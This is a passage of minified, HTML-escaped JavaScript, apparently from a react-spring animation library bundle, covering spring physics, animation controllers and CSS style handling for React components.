Cy(e)}getPayload(){return[this]}getValue(){return this._value}setValue(e,t){return Xv.num(e)&amp;&amp;(this.lastPosition=e,t&amp;&amp;(e=Math.round(e/t)*t,this.done&amp;&amp;(this.lastPosition=e))),this._value!==e&amp;&amp;(this._value=e,!0)}reset(){let{done:e}=this;this.done=!1,Xv.num(this._value)&amp;&amp;(this.elapsedTime=0,this.durationProgress=0,this.lastPosition=this._value,e&amp;&amp;(this.lastVelocity=null),this.v0=null)}},By=class extends Cy{_string=null;_toString;constructor(e){super(0),this._toString=O_({output:[e,e]})}static create(e){return new By(e)}getValue(){return this._string??(this._string=this._toString(this._value))}setValue(e){if(Xv.str(e)){if(e==this._string)return!1;this._string=e,this._value=1}else{if(!super.setValue(e))return!1;this._string=null}return!0}reset(e){e&amp;&amp;(this._toString=O_({output:[this.getValue(),e]})),this._value=0,super.reset()}},Iy={dependencies:null},jy=class extends wy{constructor(e){super(),this.source=e,this.setValue(e)}getValue(e){let t={};return e_(this.source,((n,o)=&gt;{(e=&gt;!!e&amp;&amp;e[_y]===e)(n)?t[o]=n.getValue(e):Z_(n)?t[o]=q_(n):e||(t[o]=n)})),t}setValue(e){this.source=e,this.payload=this._makePayload(e)}reset(){this.payload&amp;&amp;Jv(this.payload,(e=&gt;e.reset()))}_makePayload(e){if(e){let t=new Set;return e_(e,this._addToPayload,t),Array.from(t)}}_addToPayload(e){Iy.dependencies&amp;&amp;Z_(e)&amp;&amp;Iy.dependencies.add(e);let t=Sy(e);t&amp;&amp;Jv(t,(e=&gt;this.add(e)))}},Ey=class extends jy{constructor(e){super(e)}static create(e){return new Ey(e)}getValue(){return this.source.map((e=&gt;e.getValue()))}setValue(e){let t=this.getPayload();return e.length==t.length?t.map(((t,n)=&gt;t.setValue(e[n]))).some(Boolean):(super.setValue(e.map(Ty)),!0)}};function Ty(e){return(fy(e)?By:Cy).create(e)}function My(e){let t=yy(e);return t?t.constructor:Xv.arr(e)?Ey:fy(e)?By:Cy}var Py=(e,t)=&gt;{let n=!Xv.fun(e)||e.prototype&amp;&amp;e.prototype.isReactComponent;return(0,rc.forwardRef)(((o,r)=&gt;{let i=(0,rc.useRef)(null),s=n&amp;&amp;(0,rc.useCallback)((e=&gt;{i.current=function(e,t){return e&amp;&amp;(Xv.fun(e)?e(t):e.current=t),t}(r,e)}),[r]),[l,a]=function(e,t){let n=new Set;return Iy.dependencies=n,e.style&amp;&amp;(e={...e,style:t.createAnimatedStyle(e.style)}),e=new jy(e),Iy.dependencies=null,[e,n]}(o,t),c=ky(),u=()=&gt;{let e=i.current;n&amp;&amp;!e||!1===(!!e&amp;&amp;t.applyAnimatedValues(e,l.getValue(!0)))&amp;&amp;c()},d=new Ry(u,a),p=(0,rc.useRef)();by((()=&gt;(p.current=d,Jv(a,(e=&gt;ey(e,d))),()=&gt;{p.current&amp;&amp;(Jv(p.current.deps,(e=&gt;ty(e,p.current))),Mv.cancel(p.current.update))}))),(0,rc.useEffect)(u,[]),(e=&gt;{(0,rc.useEffect)(e,vy)})((()=&gt;()=&gt;{let e=p.current;Jv(e.deps,(t=&gt;ty(t,e)))}));let h=t.getComponentProps(l.getValue());return rc.createElement(e,{...h,ref:s})}))},Ry=class{constructor(e,t){this.update=e,this.deps=t}eventObserved(e){&quot;change&quot;==e.type&amp;&amp;Mv.write(this.update)}};var Ay=Symbol.for(&quot;AnimatedComponent&quot;),Ny=e=&gt;Xv.str(e)?e:e&amp;&amp;Xv.str(e.displayName)?e.displayName:Xv.fun(e)&amp;&amp;e.name||null;function Ly(e,...t){return Xv.fun(e)?e(...t):e}var Dy=(e,t)=&gt;!0===e||!!(t&amp;&amp;e&amp;&amp;(Xv.fun(e)?e(t):t_(e).includes(t))),Oy=(e,t)=&gt;Xv.obj(e)?t&amp;&amp;e[t]:e,zy=(e,t)=&gt;!0===e.default?e[t]:e.default?e.default[t]:void 0,Vy=e=&gt;e,Fy=(e,t=Vy)=&gt;{let n=Hy;e.default&amp;&amp;!0!==e.default&amp;&amp;(e=e.default,n=Object.keys(e));let o={};for(let r of n){let n=t(e[r],r);Xv.und(n)||(o[r]=n)}return o},Hy=[&quot;config&quot;,&quot;onProps&quot;,&quot;onStart&quot;,&quot;onChange&quot;,&quot;onPause&quot;,&quot;onResume&quot;,&quot;onRest&quot;],Uy={config:1,from:1,to:1,ref:1,loop:1,reset:1,pause:1,cancel:1,reverse:1,immediate:1,default:1,delay:1,onProps:1,onStart:1,onChange:1,onPause:1,onResume:1,onRest:1,onResolve:1,items:1,trail:1,sort:1,expires:1,initial:1,enter:1,update:1,leave:1,children:1,onDestroyed:1,keys:1,callId:1,parentId:1};function Gy(e){let t=function(e){let t={},n=0;if(e_(e,((e,o)=&gt;{Uy[o]||(t[o]=e,n++)})),n)return t}(e);if(t){let n={to:t};return e_(e,((e,o)=&gt;o in t||(n[o]=e))),n}return{...e}}function $y(e){return e=q_(e),Xv.arr(e)?e.map($y):fy(e)?qv.createStringInterpolator({range:[0,1],output:[e,e]})(1):e}function Wy(e){return Xv.fun(e)||Xv.arr(e)&amp;&amp;Xv.obj(e[0])}var Ky={tension:170,friction:26,mass:1,damping:1,easing:$_.linear,clamp:!1},Zy=class{tension;friction;frequency;damping;mass;velocity=0;restVelocity;precision;progress;duration;easing;clamp;bounce;decay;round;constructor(){Object.assign(this,Ky)}};function qy(e,t){if(Xv.und(t.decay)){let n=!Xv.und(t.tension)||!Xv.und(t.friction);(n||!Xv.und(t.frequency)||!Xv.und(t.damping)||!Xv.und(t.mass))&amp;&amp;(e.duration=void 0,e.decay=void 0),n&amp;&amp;(e.frequency=void 0)}else e.duration=void 0}var Yy=[],Xy=class{changed=!1;values=Yy;toValues=null;fromValues=Yy;to;from;config=new Zy;immediate=!1};function Qy(e,{key:t,props:n,defaultProps:o,state:r,actions:i}){return new Promise(((s,l)=&gt;{let a,c,u=Dy(n.cancel??o?.cancel,t);if(u)h();else{Xv.und(n.pause)||(r.paused=Dy(n.pause,t));let e=o?.pause;!0!==e&amp;&amp;(e=r.paused||Dy(e,t)),a=Ly(n.delay||0,t),e?(r.resumeQueue.add(p),i.pause()):(i.resume(),p())}function d(){r.resumeQueue.add(p),r.timeouts.delete(c),c.cancel(),a=c.time-Mv.now()}function p(){a&gt;0&amp;&amp;!qv.skipAnimation?(r.delayed=!0,c=Mv.setTimeout(h,a),r.pauseQueue.add(d),r.timeouts.add(c)):h()}function h(){r.delayed&amp;&amp;(r.delayed=!1),r.pauseQueue.delete(d),r.timeouts.delete(c),e&lt;=(r.cancelId||0)&amp;&amp;(u=!0);try{i.start({...n,callId:e,cancel:u},s)}catch(e){l(e)}}}))}var Jy=(e,t)=&gt;1==t.length?t[0]:t.some((e=&gt;e.cancelled))?nx(e.get()):t.every((e=&gt;e.noop))?ex(e.get()):tx(e.get(),t.every((e=&gt;e.finished))),ex=e=&gt;({value:e,noop:!0,finished:!0,cancelled:!1}),tx=(e,t,n=!1)=&gt;({value:e,finished:t,cancelled:n}),nx=e=&gt;({value:e,cancelled:!0,finished:!1});function ox(e,t,n,o){let{callId:r,parentId:i,onRest:s}=t,{asyncTo:l,promise:a}=n;return i||e!==l||t.reset?n.promise=(async()=&gt;{n.asyncId=r,n.asyncTo=e;let c,u,d,p=Fy(t,((e,t)=&gt;&quot;onRest&quot;===t?void 0:e)),h=new Promise(((e,t)=&gt;(c=e,u=t))),g=e=&gt;{let t=r&lt;=(n.cancelId||0)&amp;&amp;nx(o)||r!==n.asyncId&amp;&amp;tx(o,!1);if(t)throw e.result=t,u(e),e},m=(e,t)=&gt;{let i=new ix,s=new sx;return(async()=&gt;{if(qv.skipAnimation)throw rx(n),s.result=tx(o,!1),u(s),s;g(i);let l=Xv.obj(e)?{...e}:{...t,to:e};l.parentId=r,e_(p,((e,t)=&gt;{Xv.und(l[t])&amp;&amp;(l[t]=e)}));let a=await o.start(l);return g(i),n.paused&amp;&amp;await new Promise((e=&gt;{n.resumeQueue.add(e)})),a})()};if(qv.skipAnimation)return rx(n),tx(o,!1);try{let t;t=Xv.arr(e)?(async e=&gt;{for(let t of e)await m(t)})(e):Promise.resolve(e(m,o.stop.bind(o))),await Promise.all([t.then(c),h]),d=tx(o.get(),!0,!1)}catch(e){if(e instanceof ix)d=e.result;else{if(!(e instanceof sx))throw e;d=e.result}}finally{r==n.asyncId&amp;&amp;(n.asyncId=i,n.asyncTo=i?l:void 0,n.promise=i?a:void 0)}return Xv.fun(s)&amp;&amp;Mv.batchedUpdates((()=&gt;{s(d,o,o.item)})),d})():a}function rx(e,t){n_(e.timeouts,(e=&gt;e.cancel())),e.pauseQueue.clear(),e.resumeQueue.clear(),e.asyncId=e.asyncTo=e.promise=void 0,t&amp;&amp;(e.cancelId=t)}var ix=class extends Error{result;constructor(){super(&quot;An async animation has been interrupted. You see this error because you forgot to use `await` or `.catch(...)` on its returned promise.&quot;)}},sx=class extends Error{result;constructor(){super(&quot;SkipAnimationSignal&quot;)}},lx=e=&gt;e instanceof cx,ax=1,cx=class extends Q_{id=ax++;_priority=0;get priority(){return this._priority}set priority(e){this._priority!=e&amp;&amp;(this._priority=e,this._onPriorityChange(e))}get(){let e=yy(this);return e&amp;&amp;e.getValue()}to(...e){return qv.to(this,e)}interpolate(...e){return my(`${hy}The &quot;interpolate&quot; function is deprecated in v9 (use &quot;to&quot; instead)`),qv.to(this,e)}toJSON(){return this.get()}observerAdded(e){1==e&amp;&amp;this._attach()}observerRemoved(e){0==e&amp;&amp;this._detach()}_attach(){}_detach(){}_onChange(e,t=!1){X_(this,{type:&quot;change&quot;,parent:this,value:e,idle:t})}_onPriorityChange(e){this.idle||m_.sort(this),X_(this,{type:&quot;priority&quot;,parent:this,priority:e})}},ux=Symbol.for(&quot;SpringPhase&quot;),dx=e=&gt;(1&amp;e[ux])&gt;0,px=e=&gt;(2&amp;e[ux])&gt;0,hx=e=&gt;(4&amp;e[ux])&gt;0,gx=(e,t)=&gt;t?e[ux]|=3:e[ux]&amp;=-3,mx=(e,t)=&gt;t?e[ux]|=4:e[ux]&amp;=-5,fx=class extends cx{key;animation=new Xy;queue;defaultProps={};_state={paused:!1,delayed:!1,pauseQueue:new Set,resumeQueue:new Set,timeouts:new Set};_pendingCalls=new Set;_lastCallId=0;_lastToId=0;_memoizedDuration=0;constructor(e,t){if(super(),!Xv.und(e)||!Xv.und(t)){let n=Xv.obj(e)?{...e}:{...t,from:e};Xv.und(n.default)&amp;&amp;(n.default=!0),this.start(n)}}get idle(){return!(px(this)||this._state.asyncTo)||hx(this)}get goal(){return q_(this.animation.to)}get velocity(){let e=yy(this);return e instanceof Cy?e.lastVelocity||0:e.getPayload().map((e=&gt;e.lastVelocity||0))}get hasAnimated(){return dx(this)}get isAnimating(){return px(this)}get isPaused(){return hx(this)}get isDelayed(){return this._state.delayed}advance(e){let t=!0,n=!1,o=this.animation,{config:r,toValues:i}=o,s=Sy(o.to);!s&amp;&amp;Z_(o.to)&amp;&amp;(i=t_(q_(o.to))),o.values.forEach(((l,a)=&gt;{if(l.done)return;let c=l.constructor==By?1:s?s[a].lastPosition:i[a],u=o.immediate,d=c;if(!u){if(d=l.lastPosition,r.tension&lt;=0)return void(l.done=!0);let t,n=l.elapsedTime+=e,i=o.fromValues[a],s=null!=l.v0?l.v0:l.v0=Xv.arr(r.velocity)?r.velocity[a]:r.velocity,p=r.precision||(i==c?.005:Math.min(1,.001*Math.abs(c-i)));if(Xv.und(r.duration))if(r.decay){let e=!0===r.decay?.998:r.decay,o=Math.exp(-(1-e)*n);d=i+s/(1-e)*(1-o),u=Math.abs(l.lastPosition-d)&lt;=p,t=s*o}else{t=null==l.lastVelocity?s:l.lastVelocity;let n,o=r.restVelocity||p/10,a=r.clamp?0:r.bounce,h=!Xv.und(a),g=i==c?l.v0&gt;0:i&lt;c,m=!1,f=1,b=Math.ceil(e/f);for(let e=0;e&lt;b&amp;&amp;(n=Math.abs(t)&gt;o,n||(u=Math.abs(c-d)&lt;=p,!u));++e){h&amp;&amp;(m=d==c||d&gt;c==g,m&amp;&amp;(t=-t*a,d=c)),t+=(1e-6*-r.tension*(d-c)+.001*-r.friction*t)/r.mass*f,d+=t*f}}else{let o=1;r.duration&gt;0&amp;&amp;(this._memoizedDuration!==r.duration&amp;&amp;(this._memoizedDuration=r.duration,l.durationProgress&gt;0&amp;&amp;(l.elapsedTime=r.duration*l.durationProgress,n=l.elapsedTime+=e)),o=(r.progress||0)+n/this._memoizedDuration,o=o&gt;1?1:o&lt;0?0:o,l.durationProgress=o),d=i+r.easing(o)*(c-i),t=(d-l.lastPosition)/e,u=1==o}l.lastVelocity=t,Number.isNaN(d)&amp;&amp;(console.warn(&quot;Got NaN while animating:&quot;,this),u=!0)}s&amp;&amp;!s[a].done&amp;&amp;(u=!1),u?l.done=!0:t=!1,l.setValue(d,r.round)&amp;&amp;(n=!0)}));let l=yy(this),a=l.getValue();if(t){let e=q_(o.to);a===e&amp;&amp;!n||r.decay?n&amp;&amp;r.decay&amp;&amp;this._onChange(a):(l.setValue(e),this._onChange(e)),this._stop()}else n&amp;&amp;this._onChange(a)}set(e){return Mv.batchedUpdates((()=&gt;{this._stop(),this._focus(e),this._set(e)})),this}pause(){this._update({pause:!0})}resume(){this._update({pause:!1})}finish(){if(px(this)){let{to:e,config:t}=this.animation;Mv.batchedUpdates((()=&gt;{this._onStart(),t.decay||this._set(e,!1),this._stop()}))}return this}update(e){return(this.queue||(this.queue=[])).push(e),this}start(e,t){let n;return Xv.und(e)?(n=this.queue||[],this.queue=[]):n=[Xv.obj(e)?e:{...t,to:e}],Promise.all(n.map((e=&gt;this._update(e)))).then((e=&gt;Jy(this,e)))}stop(e){let{to:t}=this.animation;return this._focus(this.get()),rx(this._state,e&amp;&amp;this._lastCallId),Mv.batchedUpdates((()=&gt;this._stop(t,e))),this}reset(){this._update({reset:!0})}eventObserved(e){&quot;change&quot;==e.type?this._start():&quot;priority&quot;==e.type&amp;&amp;(this.priority=e.priority+1)}_prepareNode(e){let t=this.key||&quot;&quot;,{to:n,from:o}=e;n=Xv.obj(n)?n[t]:n,(null==n||Wy(n))&amp;&amp;(n=void 0),o=Xv.obj(o)?o[t]:o,null==o&amp;&amp;(o=void 0);let r={to:n,from:o};return dx(this)||(e.reverse&amp;&amp;([n,o]=[o,n]),o=q_(o),Xv.und(o)?yy(this)||this._set(n):this._set(o)),r}_update({...e},t){let{key:n,defaultProps:o}=this;e.default&amp;&amp;Object.assign(o,Fy(e,((e,t)=&gt;/^on/.test(t)?Oy(e,n):e))),xx(this,e,&quot;onProps&quot;),Sx(this,&quot;onProps&quot;,e,this);let r=this._prepareNode(e);if(Object.isFrozen(this))throw Error(&quot;Cannot animate a `SpringValue` object that is frozen. Did you forget to pass your component to `animated(...)` before animating its props?&quot;);let i=this._state;return Qy(++this._lastCallId,{key:n,props:e,defaultProps:o,state:i,actions:{pause:()=&gt;{hx(this)||(mx(this,!0),i_(i.pauseQueue),Sx(this,&quot;onPause&quot;,tx(this,bx(this,this.animation.to)),this))},resume:()=&gt;{hx(this)&amp;&amp;(mx(this,!1),px(this)&amp;&amp;this._resume(),i_(i.resumeQueue),Sx(this,&quot;onResume&quot;,tx(this,bx(this,this.animation.to)),this))},start:this._merge.bind(this,r)}}).then((n=&gt;{if(e.loop&amp;&amp;n.finished&amp;&amp;(!t||!n.noop)){let t=kx(e);if(t)return this._update(t,!0)}return n}))}_merge(e,t,n){if(t.cancel)return this.stop(!0),n(nx(this));let o=!Xv.und(e.to),r=!Xv.und(e.from);if(o||r){if(!(t.callId&gt;this._lastToId))return n(nx(this));this._lastToId=t.callId}let{key:i,defaultProps:s,animation:l}=this,{to:a,from:c}=l,{to:u=a,from:d=c}=e;r&amp;&amp;!o&amp;&amp;(!t.default||Xv.und(u))&amp;&amp;(u=d),t.reverse&amp;&amp;([u,d]=[d,u]);let p=!Qv(d,c);p&amp;&amp;(l.from=d),d=q_(d);let h=!Qv(u,a);h&amp;&amp;this._focus(u);let g=Wy(t.to),{config:m}=l,{decay:f,velocity:b}=m;(o||r)&amp;&amp;(m.velocity=0),t.config&amp;&amp;!g&amp;&amp;function(e,t,n){n&amp;&amp;(qy(n={...n},t),t={...n,...t}),qy(e,t),Object.assign(e,t);for(let t in Ky)null==e[t]&amp;&amp;(e[t]=Ky[t]);let{mass:o,frequency:r,damping:i}=e;Xv.und(r)||(r&lt;.01&amp;&amp;(r=.01),i&lt;0&amp;&amp;(i=0),e.tension=Math.pow(2*Math.PI/r,2)*o,e.friction=4*Math.PI*i*o/r)}(m,Ly(t.config,i),t.config!==s.config?Ly(s.config,i):void 0);let k=yy(this);if(!k||Xv.und(u))return n(tx(this,!0));let v=Xv.und(t.reset)?r&amp;&amp;!t.default:!Xv.und(d)&amp;&amp;Dy(t.reset,i),_=v?d:this.get(),y=$y(u),x=Xv.num(y)||Xv.arr(y)||fy(y),S=!g&amp;&amp;(!x||Dy(s.immediate||t.immediate,i));if(h){let e=My(u);if(e!==k.constructor){if(!S)throw Error(`Cannot animate between ${k.constructor.name} and ${e.name}, as the &quot;to&quot; prop suggests`);k=this._set(y)}}let w=k.constructor,C=Z_(u),B=!1;if(!C){let e=v||!dx(this)&amp;&amp;p;(h||e)&amp;&amp;(B=Qv($y(_),y),C=!B),(!Qv(l.immediate,S)&amp;&amp;!S||!Qv(m.decay,f)||!Qv(m.velocity,b))&amp;&amp;(C=!0)}if(B&amp;&amp;px(this)&amp;&amp;(l.changed&amp;&amp;!v?C=!0:C||this._stop(a)),!g&amp;&amp;((C||Z_(a))&amp;&amp;(l.values=k.getPayload(),l.toValues=Z_(u)?null:w==By?[1]:t_(y)),l.immediate!=S&amp;&amp;(l.immediate=S,!S&amp;&amp;!v&amp;&amp;this._set(a)),C)){let{onRest:e}=l;Jv(yx,(e=&gt;xx(this,t,e)));let o=tx(this,bx(this,a));i_(this._pendingCalls,o),this._pendingCalls.add(n),l.changed&amp;&amp;Mv.batchedUpdates((()=&gt;{l.changed=!v,e?.(o,this),v?Ly(s.onRest,o):l.onStart?.(o,this)}))}v&amp;&amp;this._set(_),g?n(ox(t.to,t,this._state,this)):C?this._start():px(this)&amp;&amp;!h?this._pendingCalls.add(n):n(ex(_))}_focus(e){let t=this.animation;e!==t.to&amp;&amp;(Y_(this)&amp;&amp;this._detach(),t.to=e,Y_(this)&amp;&amp;this._attach())}_attach(){let e=0,{to:t}=this.animation;Z_(t)&amp;&amp;(ey(t,this),lx(t)&amp;&amp;(e=t.priority+1)),this.priority=e}_detach(){let{to:e}=this.animation;Z_(e)&amp;&amp;ty(e,this)}_set(e,t=!0){let n=q_(e);if(!Xv.und(n)){let e=yy(this);if(!e||!Qv(n,e.getValue())){let o=My(n);e&amp;&amp;e.constructor==o?e.setValue(n):xy(this,o.create(n)),e&amp;&amp;Mv.batchedUpdates((()=&gt;{this._onChange(n,t)}))}}return yy(this)}_onStart(){let e=this.animation;e.changed||(e.changed=!0,Sx(this,&quot;onStart&quot;,tx(this,bx(this,e.to)),this))}_onChange(e,t){t||(this._onStart(),Ly(this.animation.onChange,e,this)),Ly(this.defaultProps.onChange,e,this),super._onChange(e,t)}_start(){let e=this.animation;yy(this).reset(q_(e.to)),e.immediate||(e.fromValues=e.values.map((e=&gt;e.lastPosition))),px(this)||(gx(this,!0),hx(this)||this._resume())}_resume(){qv.skipAnimation?this.finish():m_.start(this)}_stop(e,t){if(px(this)){gx(this,!1);let n=this.animation;Jv(n.values,(e=&gt;{e.done=!0})),n.toValues&amp;&amp;(n.onChange=n.onPause=n.onResume=void 0),X_(this,{type:&quot;idle&quot;,parent:this});let o=t?nx(this.get()):tx(this.get(),bx(this,e??n.to));i_(this._pendingCalls,o),n.changed&amp;&amp;(n.changed=!1,Sx(this,&quot;onRest&quot;,o,this))}}};function bx(e,t){let n=$y(t);return Qv($y(e.get()),n)}function kx(e,t=e.loop,n=e.to){let o=Ly(t);if(o){let r=!0!==o&amp;&amp;Gy(o),i=(r||e).reverse,s=!r||r.reset;return vx({...e,loop:t,default:!1,pause:void 0,to:!i||Wy(n)?n:void 0,from:s?e.from:void 0,reset:s,...r})}}function vx(e){let{to:t,from:n}=e=Gy(e),o=new Set;return Xv.obj(t)&amp;&amp;_x(t,o),Xv.obj(n)&amp;&amp;_x(n,o),e.keys=o.size?Array.from(o):null,e}function _x(e,t){e_(e,((e,n)=&gt;null!=e&amp;&amp;t.add(n)))}var yx=[&quot;onStart&quot;,&quot;onRest&quot;,&quot;onChange&quot;,&quot;onPause&quot;,&quot;onResume&quot;];function xx(e,t,n){e.animation[n]=t[n]!==zy(t,n)?Oy(t[n],e.key):void 0}function Sx(e,t,...n){e.animation[t]?.(...n),e.defaultProps[t]?.(...n)}var wx=[&quot;onStart&quot;,&quot;onChange&quot;,&quot;onRest&quot;],Cx=1,Bx=class{id=Cx++;springs={};queue=[];ref;_flush;_initialProps;_lastAsyncId=0;_active=new Set;_changed=new Set;_started=!1;_item;_state={paused:!1,pauseQueue:new Set,resumeQueue:new Set,timeouts:new Set};_events={onStart:new Map,onChange:new Map,onRest:new Map};constructor(e,t){this._onFrame=this._onFrame.bind(this),t&amp;&amp;(this._flush=t),e&amp;&amp;this.start({default:!0,...e})}get idle(){return!this._state.asyncTo&amp;&amp;Object.values(this.springs).every((e=&gt;e.idle&amp;&amp;!e.isDelayed&amp;&amp;!e.isPaused))}get item(){return this._item}set item(e){this._item=e}get(){let e={};return this.each(((t,n)=&gt;e[n]=t.get())),e}set(e){for(let t in e){let n=e[t];Xv.und(n)||this.springs[t].set(n)}}update(e){return e&amp;&amp;this.queue.push(vx(e)),this}start(e){let{queue:t}=this;return e?t=t_(e).map(vx):this.queue=[],this._flush?this._flush(this,t):(Mx(this,t),Ix(this,t))}stop(e,t){if(e!==!!e&amp;&amp;(t=e),t){let n=this.springs;Jv(t_(t),(t=&gt;n[t].stop(!!e)))}else rx(this._state,this._lastAsyncId),this.each((t=&gt;t.stop(!!e)));return this}pause(e){if(Xv.und(e))this.start({pause:!0});else{let t=this.springs;Jv(t_(e),(e=&gt;t[e].pause()))}return this}resume(e){if(Xv.und(e))this.start({pause:!1});else{let t=this.springs;Jv(t_(e),(e=&gt;t[e].resume()))}return this}each(e){e_(this.springs,e)}_onFrame(){let{onStart:e,onChange:t,onRest:n}=this._events,o=this._active.size&gt;0,r=this._changed.size&gt;0;(o&amp;&amp;!this._started||r&amp;&amp;!this._started)&amp;&amp;(this._started=!0,n_(e,(([e,t])=&gt;{t.value=this.get(),e(t,this,this._item)})));let i=!o&amp;&amp;this._started,s=r||i&amp;&amp;n.size?this.get():null;r&amp;&amp;t.size&amp;&amp;n_(t,(([e,t])=&gt;{t.value=s,e(t,this,this._item)})),i&amp;&amp;(this._started=!1,n_(n,(([e,t])=&gt;{t.value=s,e(t,this,this._item)})))}eventObserved(e){if(&quot;change&quot;==e.type)this._changed.add(e.parent),e.idle||this._active.add(e.parent);else{if(&quot;idle&quot;!=e.type)return;this._active.delete(e.parent)}Mv.onFrame(this._onFrame)}};function Ix(e,t){return Promise.all(t.map((t=&gt;jx(e,t)))).then((t=&gt;Jy(e,t)))}async function jx(e,t,n){let{keys:o,to:r,from:i,loop:s,onRest:l,onResolve:a}=t,c=Xv.obj(t.default)&amp;&amp;t.default;s&amp;&amp;(t.loop=!1),!1===r&amp;&amp;(t.to=null),!1===i&amp;&amp;(t.from=null);let u=Xv.arr(r)||Xv.fun(r)?r:void 0;u?(t.to=void 0,t.onRest=void 0,c&amp;&amp;(c.onRest=void 0)):Jv(wx,(n=&gt;{let o=t[n];if(Xv.fun(o)){let r=e._events[n];t[n]=({finished:e,cancelled:t})=&gt;{let n=r.get(o);n?(e||(n.finished=!1),t&amp;&amp;(n.cancelled=!0)):r.set(o,{value:null,finished:e||!1,cancelled:t||!1})},c&amp;&amp;(c[n]=t[n])}}));let d=e._state;t.pause===!d.paused?(d.paused=t.pause,i_(t.pause?d.pauseQueue:d.resumeQueue)):d.paused&amp;&amp;(t.pause=!0);let p=(o||Object.keys(e.springs)).map((n=&gt;e.springs[n].start(t))),h=!0===t.cancel||!0===zy(t,&quot;cancel&quot;);(u||h&amp;&amp;d.asyncId)&amp;&amp;p.push(Qy(++e._lastAsyncId,{props:t,state:d,actions:{pause:Yv,resume:Yv,start(t,n){h?(rx(d,e._lastAsyncId),n(nx(e))):(t.onRest=l,n(ox(u,t,d,e)))}}})),d.paused&amp;&amp;await new Promise((e=&gt;{d.resumeQueue.add(e)}));let g=Jy(e,await Promise.all(p));if(s&amp;&amp;g.finished&amp;&amp;(!n||!g.noop)){let n=kx(t,s,r);if(n)return Mx(e,[n]),jx(e,n,!0)}return a&amp;&amp;Mv.batchedUpdates((()=&gt;a(g,e,e.item))),g}function Ex(e,t){let n=new fx;return n.key=e,t&amp;&amp;ey(n,t),n}function Tx(e,t,n){t.keys&amp;&amp;Jv(t.keys,(o=&gt;{(e[o]||(e[o]=n(o)))._prepareNode(t)}))}function Mx(e,t){Jv(t,(t=&gt;{Tx(e.springs,t,(t=&gt;Ex(t,e)))}))}var Px=({children:e,...t})=&gt;{let n=(0,rc.useContext)(Rx),o=t.pause||!!n.pause,r=t.immediate||!!n.immediate;t=function(e,t){let[n]=(0,rc.useState)((()=&gt;({inputs:t,result:e()}))),o=(0,rc.useRef)(),r=o.current,i=r;return i?Boolean(t&amp;&amp;i.inputs&amp;&amp;function(e,t){if(e.length!==t.length)return!1;for(let n=0;n&lt;e.length;n++)if(e[n]!==t[n])return!1;return!0}(t,i.inputs))||(i={inputs:t,result:e()}):i=n,(0,rc.useEffect)((()=&gt;{o.current=i,r==n&amp;&amp;(n.inputs=n.result=void 0)}),[i]),i.result}((()=&gt;({pause:o,immediate:r})),[o,r]);let{Provider:i}=Rx;return rc.createElement(i,{value:t},e)},Rx=function(e,t){return Object.assign(e,rc.createContext(t)),e.Provider._context=e,e.Consumer._context=e,e}(Px,{});Px.Provider=Rx.Provider,Px.Consumer=Rx.Consumer;var Ax=class extends cx{constructor(e,t){super(),this.source=e,this.calc=O_(...t);let n=this._get(),o=My(n);xy(this,o.create(n))}key;idle=!0;calc;_active=new Set;advance(e){let t=this._get();Qv(t,this.get())||(yy(this).setValue(t),this._onChange(t,this.idle)),!this.idle&amp;&amp;Lx(this._active)&amp;&amp;Dx(this)}_get(){let e=Xv.arr(this.source)?this.source.map(q_):t_(q_(this.source));return this.calc(...e)}_start(){this.idle&amp;&amp;!Lx(this._active)&amp;&amp;(this.idle=!1,Jv(Sy(this),(e=&gt;{e.done=!1})),qv.skipAnimation?(Mv.batchedUpdates((()=&gt;this.advance())),Dx(this)):m_.start(this))}_attach(){let e=1;Jv(t_(this.source),(t=&gt;{Z_(t)&amp;&amp;ey(t,this),lx(t)&amp;&amp;(t.idle||this._active.add(t),e=Math.max(e,t.priority+1))})),this.priority=e,this._start()}_detach(){Jv(t_(this.source),(e=&gt;{Z_(e)&amp;&amp;ty(e,this)})),this._active.clear(),Dx(this)}eventObserved(e){&quot;change&quot;==e.type?e.idle?this.advance():(this._active.add(e.parent),this._start()):&quot;idle&quot;==e.type?this._active.delete(e.parent):&quot;priority&quot;==e.type&amp;&amp;(this.priority=t_(this.source).reduce(((e,t)=&gt;Math.max(e,(lx(t)?t.priority:0)+1)),0))}};function Nx(e){return!1!==e.idle}function Lx(e){return!e.size||Array.from(e).every(Nx)}function Dx(e){e.idle||(e.idle=!0,Jv(Sy(e),(e=&gt;{e.done=!0})),X_(e,{type:&quot;idle&quot;,parent:e}))}qv.assign({createStringInterpolator:py,to:(e,t)=&gt;new Ax(e,t)});m_.advance;const Ox=window.ReactDOM;var zx=/^--/;function Vx(e,t){return null==t||&quot;boolean&quot;==typeof t||&quot;&quot;===t?&quot;&quot;:&quot;number&quot;!=typeof t||0===t||zx.test(e)||Hx.hasOwnProperty(e)&amp;&amp;Hx[e]?(&quot;&quot;+t).trim():t+&quot;px&quot;}var Fx={};var Hx={animationIterationCount:!0,borderImageOutset:!0,borderImageSlice:!0,borderImageWidth:!0,boxFlex:!0,boxFlexGroup:!0,boxOrdinalGroup:!0,columnCount:!0,columns:!0,flex:!0,flexGrow:!0,flexPositive:!0,flexShrink:!0,flexNegative:!0,flexOrder:!0,gridRow:!0,gridRowEnd:!0,gridRowSpan:!0,gridRowStart:!0,gridColumn:!0,gridColumnEnd:!0,gridColumnSpan:!0,gridColumnStart:!0,fontWeight:!0,lineClamp:!0,lineHeight:!0,opacity:!0,order:!0,orphans:!0,tabSize:!0,widows:!0,zIndex:!0,zoom:!0,fillOpacity:!0,floodOpacity:!0,stopOpacity:!0,strokeDasharray:!0,strokeDashoffset:!0,strokeMiterlimit:!0,strokeOpacity:!0,strokeWidth:!0},Ux=[&quot;Webkit&quot;,&quot;Ms&quot;,&quot;Moz&quot;,&quot;O&quot;];Hx=Object.keys(Hx).reduce(((e,t)=&gt;(Ux.forEach((n=&gt;e[((e,t)=&gt;e+t.charAt(0).toUpperCase()+t.substring(1))(n,t)]=e[t])),e)),Hx);var Gx=/^(matrix|translate|scale|rotate|skew)/,$x=/^(translate)/,Wx=/^(rotate|skew)/,Kx=(e,t)=&gt;Xv.num(e)&amp;&amp;0!==e?e+t:e,Zx=(e,t)=&gt;Xv.arr(e)?e.every((e=&gt;Zx(e,t))):Xv.num(e)?e===t:parseFloat(e)===t,qx=class extends jy{constructor({x:e,y:t,z:n,...o}){let 